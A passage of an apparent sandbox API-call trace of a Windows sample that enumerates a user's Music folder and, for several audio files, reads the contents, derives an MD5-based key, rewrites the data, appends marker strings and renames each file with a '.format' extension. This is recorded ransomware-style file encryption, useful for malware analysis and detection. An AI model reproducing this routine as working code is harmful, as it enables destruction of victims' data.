Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.985] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.985] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.985] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.985] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.985] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.985] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.985] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.985] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.985] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\I1WhKlENAwKn\\2HbpYbcNbRAx3BVQy_4\\") returned="2HbpYbcNbRAx3BVQy_4\\" [0068.985] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x31830e8 [0068.985] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abf08 [0068.985] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.985] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\I1WhKlENAwKn\\") returned="I1WhKlENAwKn\\" [0068.985] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cdf8 [0068.985] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abf08 | out: hHeap=0x5d0000) returned 1 [0068.985] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\") returned="c8v-4o\\" [0068.985] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325da20 [0068.985] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cdf8 | out: hHeap=0x5d0000) returned 1 [0068.985] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="Music\\" [0068.985] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3286da0 [0068.985] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325da20 | out: hHeap=0x5d0000) returned 1 [0068.985] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0068.985] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0068.985] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3286da0 | out: hHeap=0x5d0000) returned 1 [0068.985] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0068.985] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0068.985] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0068.985] PathFindFileNameW (pszPath="") returned="" [0068.985] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.985] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\I1WhKlENAwKn\\2HbpYbcNbRAx3BVQy_4\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2da8b610, ftCreationTime.dwHighDateTime=0x1d4ceb9, ftLastAccessTime.dwLowDateTime=0x7aa84da0, ftLastAccessTime.dwHighDateTime=0x1d4d52a, ftLastWriteTime.dwLowDateTime=0x7aa84da0, ftLastWriteTime.dwHighDateTime=0x1d4d52a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0068.986] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.986] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2da8b610, ftCreationTime.dwHighDateTime=0x1d4ceb9, ftLastAccessTime.dwLowDateTime=0x7aa84da0, ftLastAccessTime.dwHighDateTime=0x1d4d52a, ftLastWriteTime.dwLowDateTime=0x7aa84da0, ftLastWriteTime.dwHighDateTime=0x1d4d52a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.986] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7d5aa60, ftCreationTime.dwHighDateTime=0x1d4d3bd, ftLastAccessTime.dwLowDateTime=0x978a40d0, ftLastAccessTime.dwHighDateTime=0x1d4c63a, ftLastWriteTime.dwLowDateTime=0x978a40d0, ftLastWriteTime.dwHighDateTime=0x1d4c63a, nFileSizeHigh=0x0, nFileSizeLow=0x124dd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="-GixDHhS.mp3", cAlternateFileName="")) returned 1 [0068.986] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.986] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xee) returned 0x3152000 [0068.986] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.986] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\I1WhKlENAwKn\\2HbpYbcNbRAx3BVQy_4\\-GixDHhS.mp3") returned=".mp3" [0068.986] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\I1WhKlENAwKn\\2HbpYbcNbRAx3BVQy_4\\-GixDHhS.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\i1whklenawkn\\2hbpybcnbrax3bvqy_4\\-gixdhhs.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.986] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=74973) returned 1 [0068.986] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.988] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x124b7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.989] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.989] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0068.989] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0068.989] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.989] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x124dd, lpOverlapped=0x0) returned 1 [0068.990] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.990] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0068.990] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.990] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.990] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abf08) returned 1 [0068.991] CryptCreateHash (in: hProv=0x6abf08, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.991] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.991] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.991] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0068.991] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.991] GetLastError () returned 0x0 [0068.991] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.991] CryptReleaseContext (hProv=0x6abf08, dwFlags=0x0) returned 1 [0068.991] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0068.991] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x124e0) returned 0x32b2f40 [0068.992] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0068.992] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0068.992] WriteFile (in: hFile=0x5c8, lpBuffer=0x32b2f40*, nNumberOfBytesToWrite=0x124d8, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32b2f40*, lpNumberOfBytesWritten=0x38cfb24*=0x124d8, lpOverlapped=0x0) returned 1 [0068.992] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0068.992] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x124dd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.992] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cdf8 [0068.992] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3178120 [0068.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3178120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0068.992] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x3289700 [0068.992] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178120 | out: hHeap=0x5d0000) returned 1 [0068.992] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cdf8 | out: hHeap=0x5d0000) returned 1 [0068.992] WriteFile (in: hFile=0x5c8, lpBuffer=0x3289700*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x3289700*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0068.992] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0068.992] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.992] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.993] CloseHandle (hObject=0x5c8) returned 1 [0068.994] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc0) returned 0x3185980 [0068.994] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8c0) returned 0x3178dd8 [0068.994] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3185980 | out: hHeap=0x5d0000) returned 1 [0068.994] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\I1WhKlENAwKn\\2HbpYbcNbRAx3BVQy_4\\-GixDHhS.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\i1whklenawkn\\2hbpybcnbrax3bvqy_4\\-gixdhhs.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\I1WhKlENAwKn\\2HbpYbcNbRAx3BVQy_4\\-GixDHhS.mp3.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\i1whklenawkn\\2hbpybcnbrax3bvqy_4\\-gixdhhs.mp3.format")) returned 1 [0068.995] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.995] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0068.996] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3152000 | out: hHeap=0x5d0000) returned 1 [0068.996] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27b158e0, ftCreationTime.dwHighDateTime=0x1d4d524, ftLastAccessTime.dwLowDateTime=0xb675c810, ftLastAccessTime.dwHighDateTime=0x1d4cee2, ftLastWriteTime.dwLowDateTime=0xb675c810, ftLastWriteTime.dwHighDateTime=0x1d4cee2, nFileSizeHigh=0x0, nFileSizeLow=0x1306, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9Foxmgw_VTzUMX-5QnnJ.m4a", cAlternateFileName="9FOXMG~1.M4A")) returned 1 [0068.996] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.996] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xee) returned 0x3152000 [0068.996] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.996] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\I1WhKlENAwKn\\2HbpYbcNbRAx3BVQy_4\\9Foxmgw_VTzUMX-5QnnJ.m4a") returned=".m4a" [0068.996] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\I1WhKlENAwKn\\2HbpYbcNbRAx3BVQy_4\\9Foxmgw_VTzUMX-5QnnJ.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\i1whklenawkn\\2hbpybcnbrax3bvqy_4\\9foxmgw_vtzumx-5qnnj.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.996] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=4870) returned 1 [0068.996] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.998] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x12e0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.998] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.999] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0068.999] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0068.999] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.999] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x1306, lpOverlapped=0x0) returned 1 [0068.999] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.999] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0068.999] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.999] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.999] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abf08) returned 1 [0069.000] CryptCreateHash (in: hProv=0x6abf08, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0069.000] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0069.000] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0069.000] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0069.000] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0069.000] GetLastError () returned 0x0 [0069.000] CryptDestroyHash (hHash=0x31befa0) returned 1 [0069.001] CryptReleaseContext (hProv=0x6abf08, dwFlags=0x0) returned 1 [0069.001] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0069.001] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x1310) returned 0x32a03b0 [0069.001] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0069.001] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0069.001] WriteFile (in: hFile=0x5c8, lpBuffer=0x32a03b0*, nNumberOfBytesToWrite=0x1301, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32a03b0*, lpNumberOfBytesWritten=0x38cfb24*=0x1301, lpOverlapped=0x0) returned 1 [0069.001] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a03b0 | out: hHeap=0x5d0000) returned 1 [0069.001] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x1306, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.001] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cdf8 [0069.001] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3178120 [0069.001] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3178120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0069.001] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x3289700 [0069.001] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178120 | out: hHeap=0x5d0000) returned 1 [0069.001] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cdf8 | out: hHeap=0x5d0000) returned 1 [0069.001] WriteFile (in: hFile=0x5c8, lpBuffer=0x3289700*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x3289700*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0069.001] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0069.001] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0069.001] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0069.001] CloseHandle (hObject=0x5c8) returned 1 [0069.003] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x3146a70 [0069.003] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8e0) returned 0x3178dd8 [0069.003] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3146a70 | out: hHeap=0x5d0000) returned 1 [0069.003] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\I1WhKlENAwKn\\2HbpYbcNbRAx3BVQy_4\\9Foxmgw_VTzUMX-5QnnJ.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\i1whklenawkn\\2hbpybcnbrax3bvqy_4\\9foxmgw_vtzumx-5qnnj.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\I1WhKlENAwKn\\2HbpYbcNbRAx3BVQy_4\\9Foxmgw_VTzUMX-5QnnJ.m4a.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\i1whklenawkn\\2hbpybcnbrax3bvqy_4\\9foxmgw_vtzumx-5qnnj.m4a.format")) returned 1 [0069.004] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.004] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0069.005] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3152000 | out: hHeap=0x5d0000) returned 1 [0069.005] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba300b00, ftCreationTime.dwHighDateTime=0x1d4d5b3, ftLastAccessTime.dwLowDateTime=0x9191d890, ftLastAccessTime.dwHighDateTime=0x1d4ca3c, ftLastWriteTime.dwLowDateTime=0x9191d890, ftLastWriteTime.dwHighDateTime=0x1d4ca3c, nFileSizeHigh=0x0, nFileSizeLow=0x8cf1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="qD42xM.wav", cAlternateFileName="")) returned 1 [0069.005] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0069.005] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xee) returned 0x3152000 [0069.005] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0069.005] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\I1WhKlENAwKn\\2HbpYbcNbRAx3BVQy_4\\qD42xM.wav") returned=".wav" [0069.005] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\I1WhKlENAwKn\\2HbpYbcNbRAx3BVQy_4\\qD42xM.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\i1whklenawkn\\2hbpybcnbrax3bvqy_4\\qd42xm.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0069.005] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=36081) returned 1 [0069.005] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0069.008] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x8ccb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.008] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0069.009] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0069.009] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0069.009] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.009] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x8cf1, lpOverlapped=0x0) returned 1 [0069.009] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.009] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0069.009] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.009] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.009] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abf08) returned 1 [0069.010] CryptCreateHash (in: hProv=0x6abf08, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0069.010] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0069.010] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0069.010] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0069.010] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0069.010] GetLastError () returned 0x0 [0069.010] CryptDestroyHash (hHash=0x31befa0) returned 1 [0069.010] CryptReleaseContext (hProv=0x6abf08, dwFlags=0x0) returned 1 [0069.010] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0069.010] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8cf0) returned 0x32b2f40 [0069.010] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0069.010] HeapFree (in: 